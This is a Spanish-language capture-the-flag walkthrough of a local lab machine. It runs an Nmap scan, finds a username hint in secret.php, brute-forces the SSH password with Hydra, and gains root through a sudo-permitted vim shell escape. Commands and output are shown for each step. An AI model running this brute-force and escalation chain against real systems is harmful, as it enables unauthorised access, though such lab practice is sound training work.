Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-03 12:31 EST
Nmap scan report for 172.18.0.2
Host is up (0.000028s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 19:a1:1a:42:fa:3a:9d:9a:0f:ea:91:7f:7e:db:a3:c7 (ECDSA)
|_ 256 a6:fd:cf:45:a6:95:05:2c:58:10:73:8d:39:57:2b:ff (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 02:42:AC:12:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.24 seconds
Si entramos en la pagina veremos una pagina normal y corriente de apache2, por lo que vamos a fuzzear un poco mas a ver que podemos encontrar.
Vemos que tenemos un secret.php, por lo que vamos a ver que encontramos dentro.
URL = http://<IP>/secret.php
Vemos que pone lo siguiente:
Hola Mario,
Esta web no se puede hackear.
Por lo que vemos nos da una pista de un usuario, por lo que haremos lo siguiente:
Escalate user mario
Hydra
hydra -l mario -P <WORDLIST> ssh://<IP> -t 64
Info:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-03 12:40:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://172.18.0.2:22/
[22][ssh] host: 172.18.0.2 login: mario password: chocolate
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 22 final worker threads did not complete until end.
[ERROR] 22 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-03 12:40:56
Por lo que vemos encontramos unas credenciales, por lo que nos conectaremos por ssh.
SSH
ssh mario@<IP>
Metemos como contraseña chocolate y veremos que estamos dentro.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for mario on 8d15845307a5:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User mario may run the following commands on 8d15845307a5:
(ALL) /usr/bin/vim
Vemos que podemos ejecutar el binario vim como el usuario root por lo que haremos lo siguiente:
sudo vim -c ':!/bin/bash'
Info:
root@8d15845307a5:/home/mario# whoami
root
Y con esto ya seremos root por lo que habremos terminado la maquina.